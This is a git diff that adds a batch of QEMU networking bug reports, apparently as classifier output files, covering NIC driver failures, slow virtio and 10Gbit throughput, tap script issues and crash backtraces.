(kalman adjust) +UDP buffer size: 208 KByte (default) +------------------------------------------------------------ +[ 3] local 192.168.3.10 port 54228 connected with 192.168.3.20 port 5001 +[ 3] WARNING: did not receive ack of last datagram after 10 tries. +[ ID] Interval Transfer Bandwidth +[ 3] 0.0-10.0 sec 1.25 MBytes 1.05 Mbits/sec +[ 3] Sent 892 datagrams +``` + +- from the VM2 console the <Enter> key is pressed +```shell +Telling cores to stop... +Waiting for lcores to finish... + + ---------------------- Forward statistics for port 0 ---------------------- + RX-packets: 0 RX-dropped: 0 RX-total: 0 + TX-packets: 10 TX-dropped: 0 TX-total: 10 + ---------------------------------------------------------------------------- + + ---------------------- Forward statistics for port 1 ---------------------- + RX-packets: 10 RX-dropped: 0 RX-total: 10 + TX-packets: 0 TX-dropped: 0 TX-total: 0 + ---------------------------------------------------------------------------- + + +++++++++++++++ Accumulated forward statistics for all ports+++++++++++++++ + RX-packets: 10 RX-dropped: 0 RX-total: 10 + TX-packets: 10 TX-dropped: 0 TX-total: 10 + ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + +Done. + +Stopping port 0... +Stopping ports... +Done + +Stopping port 1... +Stopping ports... +Done + +Shutting down port 0... +Closing ports... +EAL: Error disabling MSI-X interrupts for fd 267 +Done + +Shutting down port 1... +Closing ports... +Done + +Bye... +``` +Additional information: +1. How to resume the network traffic + +- If VM2 is fully restarted (the QEMU processed is restarted), and the setup is reapplied, +the trafic with VM1 is restored. + +2. Alternate cases +- Not systematically, it also happens that the trafic is definitively lost only by stopping and then restarting dpdk-testpmd in VM2 + +- I also met the case while running another DPDK application that is making use of multithreading: one thread is receiving data from the network interface and pushing it to the tap interface, while the other thread is receiving data from the tap interface and pushing it to the network interface. No reboot of the guest OS, no interruption of the DPDK application, the traffic is just flowing for less than a minute until it is definitively lost. diff --git a/results/classifier/gemma3:12b/network/485250 b/results/classifier/gemma3:12b/network/485250 new file mode 100644 index 000000000..6b13ac26b --- /dev/null +++ b/results/classifier/gemma3:12b/network/485250 @@ -0,0 +1,22 @@ + +nic e1000 network interface does not work with 32-bit windows 2003r2 with sp2 + +nic e1000 network interface does not work with win2k3r2 32bit + +e1000 driver in win2k3r2 32bit seems to be broken. The interface is able to +receive ip from the dhcp server, but not able to ping it from any linux guest or +host, but was able to ping it from windows guest. + +Running network test, netperf, between the windows guest fails with the message +"netperf: receive_response: no response received. errno 104 counter 0" + +cmdline used: +/usr/local/bin/qemu-system-x86_64 -drive file=win2003r2sp2-32.raw,boot=on -net nic,vlan=0,macaddr=20:20:20:00:00:04,model=e1000 -net tap,vlan=0,script=/home/yogi/qemu-ifup -m 2048 -enable-kvm -usbdevice tablet -vnc :1 + +uname -a +Linux bc1cn9 2.6.30.9-96.fc11.x86_64 #1 SMP Wed Nov 4 00:02:04 EST 2009 x86_64 x86_64 x86_64 GNU/Linux + +Distro: fedora 11 + +Thx +yogi \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/485258 b/results/classifier/gemma3:12b/network/485258 new file mode 100644 index 000000000..b6c6438cc --- /dev/null +++ b/results/classifier/gemma3:12b/network/485258 @@ -0,0 +1,29 @@ + +64-bit win2003r2 with sp2 64-bit with network type rtl8139 generates blue screen after running network test + +64-bit win2003r2 with sp2 64-bit with network type rtl8139 generates blue screen after running network test + +Steps to recreate: +1) install qemu frm git clone git://git.savannah.nongnu.org/qemu.git + +2)Download Soap Stone Benchmark(http://soap-stone.sourceforge.net/) and IBM java 1.4 for windows + +3)use win2k3r2sp2 64-bit as the server and win2k3r2sp2 32-bit as client (this bug does not occur when win2k3r2sp2 64-bit is the client) + +4) Running the test will reset the network interface on the server(win2k3r2sp264bit). + +5)Then shutdown the server(win2k3r2sp2 64bit), which will generate a blue screen. + + +Qemu cmd line used: +/usr/local/bin/qemu-system-x86_e 'vm1' -drive file=win2003r2-64.raw,boot=on -net nic,vlan=0,macaddr=20:20:20:00:00:01,model=rtl8139 -net tap,vlan=0,script=/home/yogi/qemu-ifup -m 10240 -usbdevice tablet -vnc :0 -enable-kvm + +uname -a +Linux bc1cn9 2.6.30.9-96.fc11.x86_64 #1 SMP Wed Nov 4 00:02:04 EST 2009 x86_64 x86_64 x86_64 GNU/Linux + +Distro: fedora 11 + +I have attached the generated Blue Screen.. + +Thx +yogi \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/495566 b/results/classifier/gemma3:12b/network/495566 new file mode 100644 index 000000000..9e2c6bbd6 --- /dev/null +++ b/results/classifier/gemma3:12b/network/495566 @@ -0,0 +1,22 @@ + +qemu network adapter initialization fails when using macaddr=<multicast MAC-address> + +Not sure if ultra-strange, nondocumented feature in qemu (or linux kernel) or really bug: Network card initialization fails if first byte of mac address is not 00. The problem occurs at least with model=pcnet/rtl8139, in both cases the network adapter is not usable. + +How to reproduce: + +* Take standard initrd/kernel (tested with hardy) + +* Start qemu (cmd see below) and enter "modprobe pcnet32" at prompt: +qemu -name SetupTest -no-acpi -m 128 -drive file=/dev/null,if=ide,index=0 -net nic,macaddr=00:22:33:44:55:66,model=pcnet -net user -kernel vmlinuz-2.6.24-26-generic -initrd initrd.img-2.6.24-26-generic -append break=premount + +You will see "pcnet32 ... at 0x..., 00:22:33:44:55:66 + +* Do same with mac address 11:22:33:44:55:66 +qemu -name SetupTest -no-acpi -m 128 -drive file=/dev/null,if=ide,index=0 -net nic,macaddr=11:22:33:44:55:66,model=pcnet -net user -kernel vmlinuz-2.6.24-26-generic -initrd initrd.img-2.6.24-26-generic -append break=premount + +You will see "pcnet32 ... at 0x..., 00:00:00:00:00:00 + +The network adapter is non-functional, "ip link set eth0 up" does not report error, but does not work (indicates at least some linux kernel influence) + +With the rtl8139 adapter, mac-address in guest is correct, but adapter does not work either (indicates qemu influence) \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/50 b/results/classifier/gemma3:12b/network/50 new file mode 100644 index 000000000..9379b7fd5 --- /dev/null +++ b/results/classifier/gemma3:12b/network/50 @@ -0,0 +1,2 @@ + +Create PyPI installable package for the Python library diff --git a/results/classifier/gemma3:12b/network/517 b/results/classifier/gemma3:12b/network/517 new file mode 100644 index 000000000..6343d76ae --- /dev/null +++ b/results/classifier/gemma3:12b/network/517 @@ -0,0 +1,2 @@ + +Abort in vmxnet3_setup_tx_offloads diff --git a/results/classifier/gemma3:12b/network/533 b/results/classifier/gemma3:12b/network/533 new file mode 100644 index 000000000..4c51e67f1 --- /dev/null +++ b/results/classifier/gemma3:12b/network/533 @@ -0,0 +1,2 @@ + +Assertion failure in vmxnet3_get_next_body_rx_descr: d->btype == VMXNET3_RXD_BTYPE_BODY diff --git a/results/classifier/gemma3:12b/network/534 b/results/classifier/gemma3:12b/network/534 new file mode 100644 index 000000000..a870bbd68 --- /dev/null +++ b/results/classifier/gemma3:12b/network/534 @@ -0,0 +1,2 @@ + +Memcpy param-overlap through e1000e_write_to_rx_buffers diff --git a/results/classifier/gemma3:12b/network/535 b/results/classifier/gemma3:12b/network/535 new file mode 100644 index 000000000..77a896604 --- /dev/null +++ b/results/classifier/gemma3:12b/network/535 @@ -0,0 +1,2 @@ + +Assertion failure in iov_from_buf_full through the e1000e diff --git a/results/classifier/gemma3:12b/network/537 b/results/classifier/gemma3:12b/network/537 new file mode 100644 index 000000000..26267934c --- /dev/null +++ b/results/classifier/gemma3:12b/network/537 @@ -0,0 +1,2 @@ + +Assertion failure in e1000e_write_to_rx_buffers diff --git a/results/classifier/gemma3:12b/network/539 b/results/classifier/gemma3:12b/network/539 new file mode 100644 index 000000000..822dc2a20 --- /dev/null +++ b/results/classifier/gemma3:12b/network/539 @@ -0,0 +1,2 @@ + +Abort in vmxnet3_validate_interrupt_idx diff --git a/results/classifier/gemma3:12b/network/546638 b/results/classifier/gemma3:12b/network/546638 new file mode 100644 index 000000000..a7055adc4 --- /dev/null +++ b/results/classifier/gemma3:12b/network/546638 @@ -0,0 +1,55 @@ + +Connection error when use PXE+NFS to boot guest + +I use NFS+PXE to boot RHEL 5. The installation is slow, and I send Ctrl+Alt+F4, then find that half (but not all) of connections are dropped: + +nfs: server 192.168.122.50 OK +nfs: server 192.168.122.50 OK +nfs: server 192.168.122.50 OK +nfs: server 192.168.122.50 not responding, still trying +nfs: server 192.168.122.50 OK +nfs: server 192.168.122.50 not responding, still trying +nfs: server 192.168.122.50 not responding, still trying +: +: + +I have checked that there is no IP conflict. + +Host machine +Kernel: 2.6.32.9-70.fc12.x86_64 +QEMU version: 0.12.3-2.fc12.x86_64 +libvirt version: 0.7.1-15.fc12.x86_64 + +Guest machine 1 (NFS server) +Kernel: 2.6.18-164.el5 +nfs-utils version: 1.0.9-42.el5 +Set up command: virt-install --connect qemu:///system -n m5 --vnc --accelerate --ram=256 --noreboot --os-type=linux --pxe --os-variant=rhel5 --mac=52:54:00:50:00:00 --file=/dev/VolGroup00/m5 + +Guest machine 2 (the machine to be installed via PXE+NFS) +Set up command: virt-install --connect qemu:///system -n e51 --vnc --accelerate --ram=128 --noreboot --os-type=linux --pxe –os-variant=rhel5 --mac=52:54:00:51:01:00 --file=/dev/VolGroup00/e51 + +============================================================================ +I try to use NFS under different situations to test. +Test 1) Try normal NFS mount. This test successes. +Test 2) Try to boot a diskless machine via PXE, use a NFS mount point at root. This test suffers the same problem + +At test 1) +NFS client mount an export of the NFS server, and use command "find ." to see if it runs smoothly. +Result: it runs smoothly for thousands of lines. + +Guest machine 3 (NFS server) +Kernel: 2.6.18-164.el5 +Set up command: virt-install --connect qemu:///system -n dm1 --vnc --accelerate --ram=256 --noreboot --os-type=linux --pxe --os-variant=rhel5 --mac=52:54:00:d1:00:00 --file=/dev/VolGroup00/dm1 + +NFS client is Guest machine 1 mentioned before. + +At test 2) +Set up a PXE server, write a customized initrd, in which init script uses "mkrootdev -t nfs -o nolock,ro" to set root directory on a NFS mount. + +Result: the client machine can boot, but very slowly, with numerous +nfs: server 192.168.122.110 OK +nfs: server 192.168.122.110 not responding, still trying + +NFS server: it is Guest machine 3 +Client to be booted: Guest machine 4 +Set up command: virt-install --connect qemu:///system -n de11 --vnc --accelerate --ram=128 --noreboot --os-type=linux --pxe –os-variant=rhel5 --nodisk --mac=52:54:00:d1:01:00 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/557 b/results/classifier/gemma3:12b/network/557 new file mode 100644 index 000000000..c7f2c2e20 --- /dev/null +++ b/results/classifier/gemma3:12b/network/557 @@ -0,0 +1,2 @@ + +Stack-overflow through pcnet_tmd_load diff --git a/results/classifier/gemma3:12b/network/559 b/results/classifier/gemma3:12b/network/559 new file mode 100644 index 000000000..7ced516d7 --- /dev/null +++ b/results/classifier/gemma3:12b/network/559 @@ -0,0 +1,2 @@ + +info does not recognize file format of vpc with subformat=fixed diff --git a/results/classifier/gemma3:12b/network/580 b/results/classifier/gemma3:12b/network/580 new file mode 100644 index 000000000..de2ee9a71 --- /dev/null +++ b/results/classifier/gemma3:12b/network/580 @@ -0,0 +1,18 @@ + +access internet from guest +Description of problem: +I can ssh back to host using ssh 10.0.2.2. +Also I can login to guest from host using ssh riscv@localhost -p 3333. +However, +I could not get internet access from the guest os system, such as: +``` +[riscv@fedora-riscv ~]$ wget www.google.com +--2019-12-15 05:53:04-- http://www.google.com/ +Resolving www.google.com (www.google.com)... 216.58.194.164, 2607:f8b0:4005:804::2004 +Connecting to www.google.com (www.google.com)|216.58.194.164|:80... failed: Connection refused. +Connecting to www.google.com (www.google.com)|2607:f8b0:4005:804::2004|:80... failed: Network is unreachable. +``` +Therefore, I could not use dnf to install packages. +Any help will be appreciated. +Additional information: + diff --git a/results/classifier/gemma3:12b/network/589315 b/results/classifier/gemma3:12b/network/589315 new file mode 100644 index 000000000..fc1b69743 --- /dev/null +++ b/results/classifier/gemma3:12b/network/589315 @@ -0,0 +1,19 @@ + +qemu: Improve error reporting when migration can't connect + +Tested with upstream qemu as of Jun 3 2010 + +If the source qemu instance can't connect to the migration destination (say +there is no listening QEMU instance, or port is blocked by a firewall), all we +get is info migrate -> Migration status: failed. This is all we have to report +back to libvirt users if their firewall is misconfigured, which is crappy. + +Ideally, if we can't connect, migration would fail immediately with a relevant +message and strerror(). More info from 'info migrate' would be nice too, no +idea how this will play with QMP though. + +As a slightly related issue, try entering + +migrate tcp:127.0.0.0:6000 + +We get a 'migration failed' error, and then the monitor hangs! \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/589827 b/results/classifier/gemma3:12b/network/589827 new file mode 100644 index 000000000..aa0861d29 --- /dev/null +++ b/results/classifier/gemma3:12b/network/589827 @@ -0,0 +1,15 @@ + +QEMU netdev tap type id name is not used on linux host + +Tested with 0.12.3, 0.12.4, and latest git as of 4 jun 2010. +The new -netdev type seems to ignore manual specifications of tap ifname. + + qemu-system-x86_64 -hda disk.img -netdev tap,id=ids_e0 -device e1000,netdev=ids_e0 + **creates tap0 instead of ids_e0. tap0 passes traffic, ids_e0 doesn't exist +(I tried -netdev type=tap as well for brevity) + +QEMU creates a tap0 (or appropriate) interface and does not name this "ids_e0" as would be expected. I also tried 'pre' creating the tap interface. + +Previous alterantive was + qemu-system-x86_64 -hda disk.img -net nic,model=e1000,vlan=99 -net tap,ifname=ids_e0,vlan=99 + **creates ids_e0 as expected, and passes traffic as expected. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/590552 b/results/classifier/gemma3:12b/network/590552 new file mode 100644 index 000000000..881740cb6 --- /dev/null +++ b/results/classifier/gemma3:12b/network/590552 @@ -0,0 +1,17 @@ + +New default network card doesn't work with tap networking + +Unfortunately, I can provide very little information. + +Hope this will be useful anyway. + +I've upgraded qemu using debian apt to lastest unstable (QEMU PC emulator version 0.12.4 (Debian 0.12.4+dfsg-2), Copyright (c) 2003-2008 Fabrice Bellard): looks like at some point the default network card for -net nic option was switched to intel gigabit instead of the good old ne2k_pci. + +I was using -net tap -net nic options and my network stopped working. +When not working, +- tcpdump on the host shows me taht all packets are sent and received fine from guest +- tcpdump on guest shows that packets from host are NOT received + +obviously, both host tap interface and guest eth0 interfaces, routing tables, dns, firewall, etc... are well configured. + +Having banged my head for a while, I finally stopped the host and started it again using -net nic,model=ne2k_pci option, then my network magically started working again. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/597 b/results/classifier/gemma3:12b/network/597 new file mode 100644 index 000000000..a8e41745c --- /dev/null +++ b/results/classifier/gemma3:12b/network/597 @@ -0,0 +1,20 @@ + +sunhme sometimes causes the VM to hang forever +Description of problem: +When using sunhme, sometimes on receiving traffic (and doing disk IO?) it will get slower and slower until it becomes entirely unresponsive, which does not happen on the real hardware I have sitting next to me (Sun Netra T1, running the same OS+kernel, though not the same image) + +virtio-net-pci does not, so far, demonstrate the problem, and neither does just sending a lot of traffic out over the sunhme interface, so it appears to require receiving or some more complex interaction. + +It doesn't always happen immediately, it sometimes takes a couple of tries with the command, but when it does, it's gone. + +Output logged to console below. +Steps to reproduce: +1. Log into VM (rich/omgqemu) +2. sudo apt clean;sudo apt update; +3. If it doesn't lock up the VM, repeat step 2 a few times. +Additional information: +Disk image can be found [here](https://www.dropbox.com/s/0oosyf7xej44v9n/sunhme_repro_disk.tgz?dl=0) (tarred in the hope that it does something reasonable with sparseness) + +Console output can be found [here](https://www.dropbox.com/s/t1wxx41vzv8p3l6/sunhme%20sadness.txt?dl=0) + +Ah yes, [the initrd and vmlinux](https://www.dropbox.com/s/t7i4gs7poqaeanz/oops_boot.tgz?dl=0) would help, wouldn't they, though I imagine the ones in the VM itself would boot... diff --git a/results/classifier/gemma3:12b/network/597351 b/results/classifier/gemma3:12b/network/597351 new file mode 100644 index 000000000..9d80328ca --- /dev/null +++ b/results/classifier/gemma3:12b/network/597351 @@ -0,0 +1,31 @@ + +Slow UDP performance with virtio device + +I'm working on an app that is very sensitive to round-trip latency +between the guest and host, and qemu/kvm seems to be significantly +slower than it needs to be. + +The attached program is a ping/pong over UDP. Call it with a single +argument to start a listener/echo server on that port. With three +arguments it becomes a counted "pinger" that will exit after a +specified number of round trips for performance measurements. For +example: + + $ gcc -o udp-pong udp-pong.c + $ ./udp-pong 12345 & # start a listener on port 12345 + $ time ./udp-pong 127.0.0.1 12345 1000000 # time a million round trips + +When run on the loopback device on a single machine (true on the host +or within a guest), I get about 100k/s. + +When run across a port forward using "user" networking on qemu (or +kvm, the performance is the same) and the default rtl8139 driver (both +the host and guest are Ubuntu Lucid), I get about 10k/s. This seems +very slow, but perhaps unavoidably so? + +When run in the same configuration using the "virtio" driver, I get +only 2k/s. This is almost certainly a bug in the virtio driver, given +that it's a paravirtualized device that is 5x slower than the "slow" +hardware emulation. + +I get no meaningful change in performance between kvm/qemu. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/602336 b/results/classifier/gemma3:12b/network/602336 new file mode 100644 index 000000000..ac16e0d2f --- /dev/null +++ b/results/classifier/gemma3:12b/network/602336 @@ -0,0 +1,80 @@ + +bad network performance with 10Gbit + +Hello, +I have trouble with the network performance inside my virtual machines. I don't know if this is realy a bug, but I didn't find a solution for this problem in other forums or maillists. + +My KVM-Host machine is connected to a 10Gbit Network. All interfaces are configured to a mtu of 4132. On this host I have no problems and I can use the full bandwidth: + +CPU_Info: +2x Intel Xeon X5570 +flags: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts rep_good xtopology nonstop_tsc aperfmperf pni dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm dca sse4_1 sse4_2 popcnt lahf_lm ida tpr_shadow vnmi flexpriority ept vpid + +KVM Version: +QEMU PC emulator version 0.12.3 (qemu-kvm-0.12.3), Copyright (c) 2003-2008 Fabrice Bellard +0.12.3+noroms-0ubuntu9 + +KVM Host Kernel: +2.6.32-22-server #36-Ubuntu SMP Thu Jun 3 20:38:33 UTC 2010 x86_64 GNU/Linux + +KVM Host OS: +Ubuntu 10.04 LTS +Codename: lucid + +KVM Guest Kernel: +2.6.32-22-server #36-Ubuntu SMP Thu Jun 3 20:38:33 UTC 2010 x86_64 GNU/Linux + +KVM Guest OS: +Ubuntu 10.04 LTS +Codename: lucid + + +# iperf -c 10.10.80.100 -w 65536 -p 12345 -t 60 -P4 +[ ID] Interval Transfer Bandwidth +[ 4] 0.0-60.0 sec 18.8 GBytes 2.69 Gbits/sec +[ 5] 0.0-60.0 sec 15.0 GBytes 2.14 Gbits/sec +[ 6] 0.0-60.0 sec 19.3 GBytes 2.76 Gbits/sec +[ 3] 0.0-60.0 sec 15.1 GBytes 2.16 Gbits/sec +[SUM] 0.0-60.0 sec 68.1 GBytes 9.75 Gbits/sec + + +Inside a virtual machine don't reach this result: + +# iperf -c 10.10.80.100 -w 65536 -p 12345 -t 60 -P 4 +[ ID] Interval Transfer Bandwidth +[ 3] 0.0-60.0 sec 5.65 GBytes 808 Mbits/sec +[ 4] 0.0-60.0 sec 5.52 GBytes 790 Mbits/sec +[ 5] 0.0-60.0 sec 5.66 GBytes 811 Mbits/sec +[ 6] 0.0-60.0 sec 5.70 GBytes 816 Mbits/sec +[SUM] 0.0-60.0 sec 22.5 GBytes 3.23 Gbits/sec + +I only can use 3,23Gbits of 10Gbits. I use the virtio driver for all of my vms, but I have also tried to use the e1000 nic device instead. + +With starting the iperf performance test on multiple vms simultaneously I can use the full bandwidth of the kvm host's interface. But only one vm can't use the full bandwith. Is this a known limitation, or can I improve this performance? + +Does anyone have an idea how I can improve my network performance? It's very important, because I want to use the network interface to boot all vms via AOE (ATA over Ethernet). + +If I mount a harddisk via AOE inside a vm I get only this results: +Write |CPU |Rewrite |CPU |Read |CPU +102440 |10 |51343 |5 |104249 |3 + +On the KVM Host I get those results on a mouted AOE Device: +Write |CPU |Rewrite |CPU |Read |CPU +205597 |19 |139118 |11 |391316 |11 + +If I mount the AOE Device directly on the kvm-host and put a virtual harddisk-file in it I got the following results inside a vm using this harddisk-file: +Write |CPU |Rewrite |CPU |Read |CPU +175140 |12 |136113 |24 |599989 |29 + +I have just tested vhost_net, but without success. +I have upgraded my kernel to 2.6.35-6 with vhost_net support and have +installed the qemu-kvm version from +git://git.kernel.org/pub/scm/linux/kernel/git/mst/qemu-kvm.git (0.12.50) +But I still have the same results as before. + +I had already posted my problem into a few forums, but still got no +reply. + +I would feel very happy if someone can help me. + +best regards \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/605 b/results/classifier/gemma3:12b/network/605 new file mode 100644 index 000000000..e46d6d7a8 --- /dev/null +++ b/results/classifier/gemma3:12b/network/605 @@ -0,0 +1,16 @@ + +QEMU crashes when receiving network connection on NetBSD +Description of problem: +After booting the VM, connecting to the TCP port 2222 of the host immediately crashes the VM and qemu prints: + +** +Slirp:ERROR:../slirp/src/tcp_subr.c:477:tcp_connect: assertion failed: (ret == 0) +Bail out! Slirp:ERROR:../slirp/src/tcp_subr.c:477:tcp_connect: assertion failed: (ret == 0) +Steps to reproduce: +1. start VM as indicated +2. telnet localhost 2222 +3. crash +Additional information: +** +Slirp:ERROR:../slirp/src/tcp_subr.c:477:tcp_connect: assertion failed: (ret == 0) +Bail out! Slirp:ERROR:../slirp/src/tcp_subr.c:477:tcp_connect: assertion failed: (ret == 0) diff --git a/results/classifier/gemma3:12b/network/636095 b/results/classifier/gemma3:12b/network/636095 new file mode 100644 index 000000000..3c55402b7 --- /dev/null +++ b/results/classifier/gemma3:12b/network/636095 @@ -0,0 +1,43 @@ + +tap downscript is not executed when exiting qemu through "quit" monitor command + +When you tell qemu to shutdown using the "quit" monitor command, the downscript of the tap interface is not executed. + + +To reproduce: + + +Create the test script /tmp/qemu-ifdown-test.sh : + +== +#!/bin/bash + +touch /tmp/is_this_working +== + +Run: + +== +# chmod +x /tmp/qemu-ifdown-test.sh +# qemu-system-x86_64 -daemonize -net nic -net tap,script=/etc/qemu-ifup,downscript=/tmp/qemu-ifdown-test.sh -monitor unix:/tmp/monitor.socket,nowait,server +VNC server running on `127.0.0.1:5900' +# nc -U /tmp/monitor.socket +QEMU 0.12.5 monitor - type 'help' for more information +(qemu) quit +quit +# ls /tmp/is* +ls: cannot access /tmp/is*: No such file or directory + +== + +If I quit qemu by sending a SIGTERM instead of using the "quit" command, the downscript does get executed: + +== +# qemu-system-x86_64 -daemonize -net nic -net tap,script=/etc/qemu-ifup,downscript=/tmp/qemu-ifdown-test.sh -monitor unix:/tmp/monitor.socket,nowait,server +VNC server running on `127.0.0.1:5900' +# killall qemu-system-x86_64 +# ls /tmp/is* +/tmp/is_this_working +== + +Issue occurs with both 0.12.3 and 0.12.5 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/638955 b/results/classifier/gemma3:12b/network/638955 new file mode 100644 index 000000000..30f466878 --- /dev/null +++ b/results/classifier/gemma3:12b/network/638955 @@ -0,0 +1,33 @@ + +emulated netcards don't work with recent sunos kernel + +hi there, + +i'm using qemu-kvm backend in version: # qemu-kvm -version +QEMU PC emulator version 0.12.5 (qemu-kvm-0.12.5), Copyright (c) 2003-2008 Fabrice Bellard + +and there are just *not working any of model=$type with combinations of recent sunos (solaris, openindiana, opensolaris, ..) .. + +you can download for testing purposes iso from here: http://dlc-origin.openindiana.org/isos/147/ or from here: http://genunix.org/distributions/indiana/ << osol and oi are also bubuntu-like *live cds, so no need to bother with installing + +behaviour is as follows: +e1000 - receiving doesn't work, transmitting works .. dladm (tool for handle ethers) shows that is all ok, correct mode is loaded up, it just seems like this driver works at 100% but .. + +rtl8169|pcnet - works in 10Mbit mode with several other issues like high cpu utilization and so .. dladm is unable to recognize options for this kind of -nic + +others - just don't work + +.. i experienced this issue several times in past .. woraround was, that rtl8169 worked so-so .. with recent sunos kernel it doesn't. + +it's easy to reproduce, this is why i'm not putting here more then launching script for my virtual machine: + +# cat openindiana.sh +qemu-kvm -hda /home/kvm/openindiana/openindiana.img -m 2048 -localtime -cdrom /home/kvm/+images/oi-dev-147-x86.iso -boot d \ +-vga std -vnc :9 -k en-us -monitor unix:/home/kvm/openindiana/instance,server,nowait \ +-net nic,model=e1000,vlan=1 -net tap,ifname=oi0,script=no,vlan=1 & + +sleep 2; +ip l set oi0 up; +ip a a 192.168.99.9/24 dev oi0; + +regards by daniel \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/643465 b/results/classifier/gemma3:12b/network/643465 new file mode 100644 index 000000000..04590d7a1 --- /dev/null +++ b/results/classifier/gemma3:12b/network/643465 @@ -0,0 +1,21 @@ + +Crash at network boot + +When I boot on lan, I crash qemu: + +Program received signal SIGSEGV, Segmentation fault. +[Switching to Thread 0x7ffff491a710 (LWP 10614)] +0x00000000005a1de8 in lsi_update_irq (s=0x125d5a0) at /var/tmp/portage/app-emulation/qemu-kvm-0.12.5-r1/work/qemu-kvm-0.12.5/hw/lsi53c895a.c:426 +426 /var/tmp/portage/app-emulation/qemu-kvm-0.12.5-r1/work/qemu-kvm-0.12.5/hw/lsi53c895a.c: No such file or directory. + in /var/tmp/portage/app-emulation/qemu-kvm-0.12.5-r1/work/qemu-kvm-0.12.5/hw/lsi53c895a.c +(gdb) bt +#0 0x00000000005a1de8 in lsi_update_irq (s=0x125d5a0) at /var/tmp/portage/app-emulation/qemu-kvm-0.12.5-r1/work/qemu-kvm-0.12.5/hw/lsi53c895a.c:426 +#1 0x00000000005a4f67 in lsi_mmio_writew (opaque=0x125d5a0, addr=<value optimized out>, val=2) at /var/tmp/portage/app-emulation/qemu-kvm-0.12.5-r1/work/qemu-kvm-0.12.5/hw/lsi53c895a.c:1775 +#2 0x00000000004fdf3b in cpu_physical_memory_rw (addr=4043505728, buf=0x7ffff7ff2028 "\002", len=2, is_write=1) at /var/tmp/portage/app-emulation/qemu-kvm-0.12.5-r1/work/qemu-kvm-0.12.5/exec.c:3215 +#3 0x000000000042bf65 in handle_mmio (env=0xcaa6d0) at /var/tmp/portage/app-emulation/qemu-kvm-0.12.5-r1/work/qemu-kvm-0.12.5/qemu-kvm.c:831 +#4 kvm_run (env=0xcaa6d0) at /var/tmp/portage/app-emulation/qemu-kvm-0.12.5-r1/work/qemu-kvm-0.12.5/qemu-kvm.c:979 +#5 0x000000000042c249 in kvm_cpu_exec (env=0x125d5a0) at /var/tmp/portage/app-emulation/qemu-kvm-0.12.5-r1/work/qemu-kvm-0.12.5/qemu-kvm.c:1651 +#6 0x000000000042c471 in kvm_main_loop_cpu (_env=<value optimized out>) at /var/tmp/portage/app-emulation/qemu-kvm-0.12.5-r1/work/qemu-kvm-0.12.5/qemu-kvm.c:1893 +#7 ap_main_loop (_env=<value optimized out>) at /var/tmp/portage/app-emulation/qemu-kvm-0.12.5-r1/work/qemu-kvm-0.12.5/qemu-kvm.c:1943 +#8 0x00007ffff79c0894 in start_thread (arg=<value optimized out>) at pthread_create.c:297 +#9 0x00007ffff5ac927d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:115 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/658904 b/results/classifier/gemma3:12b/network/658904 new file mode 100644 index 000000000..05d2a501f --- /dev/null +++ b/results/classifier/gemma3:12b/network/658904 @@ -0,0 +1,6 @@ + +QEMU refers to VLAN, but doesn't mean 802.1Q + +Throughout the (sparse) documentation and the cmd-line help text, Qemu refers to VLAN ("virtual" LANs), which are unrelated to 802.1Q (tagged ethernet) VLAN, which, IMHO is _very_ confusing. Beyond that, it's also unnecessary, as the network in question isn't "virtual", only the devices used to implement it are. + +To avoid further frustration and confusion, can the term VLAN, _please_ be removed from source and documentation and replaced with something more suitable? Perhaps vNIC (seems like VMware is using that term for a similiar concept)? \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/673009 b/results/classifier/gemma3:12b/network/673009 new file mode 100644 index 000000000..4a8c774cd --- /dev/null +++ b/results/classifier/gemma3:12b/network/673009 @@ -0,0 +1,136 @@ + +Latest git crashes in if_start with netBSD guest + +The latest version in git (cfd07e7abb1ef39373cd4ce312b015d61b9eea8d) crashes when running a NetBSD guest + +Host OS: Debian Linux/x86_64 5.0 +C Compiler: 4.4.5 +Guest OS:NetBSD/i386 5.0.2 +Command Line: +Build Configure: ./configure --enable-linux-aio --enable-io-thread --enable-kvm +GIT commit: d33ea50a958b2e050d2b28e5f17e3b55e91c6d74 + +*** glibc detected *** /home/njh/src/qemu/i386-softmmu/qemu: free(): invalid pointer: 0x00000000025bd290 *** +======= Backtrace: ========= +/lib/libc.so.6(+0x71ad6)[0x7f15dfe0bad6] +/home/njh/src/qemu/i386-softmmu/qemu[0x492ff3] +/home/njh/src/qemu/i386-softmmu/qemu[0x494082] +/home/njh/src/qemu/i386-softmmu/qemu[0x49b38e] +/home/njh/src/qemu/i386-softmmu/qemu[0x49710a] +/home/njh/src/qemu/i386-softmmu/qemu[0x4947c7] +/home/njh/src/qemu/i386-softmmu/qemu[0x5181cc] +/home/njh/src/qemu/i386-softmmu/qemu[0x518c67] +/lib/libc.so.6(__libc_start_main+0xfd)[0x7f15dfdb8c4d] +/home/njh/src/qemu/i386-softmmu/qemu[0x407699] +======= Memory map: ======== +00400000-006a1000 r-xp 00000000 08:03 406539 /home/njh/src/qemu/i386-softmmu/qemu +008a0000-008c4000 rw-p 002a0000 08:03 406539 /home/njh/src/qemu/i386-softmmu/qemu +008c4000-010ae000 rw-p 00000000 00:00 0 +010ae000-010af000 rwxp 00000000 00:00 0 +010af000-010c7000 rw-p 00000000 00:00 0 +023a8000-024ab000 rw-p 00000000 00:00 0 +024ab000-024bb000 rw-p 00000000 00:00 0 +024bb000-025d5000 rw-p 00000000 00:00 0 +40a6f000-42a6f000 rwxp 00000000 00:00 0 +7f15d292b000-7f15d2941000 r-xp 00000000 08:03 131218 /lib/libgcc_s.so.1 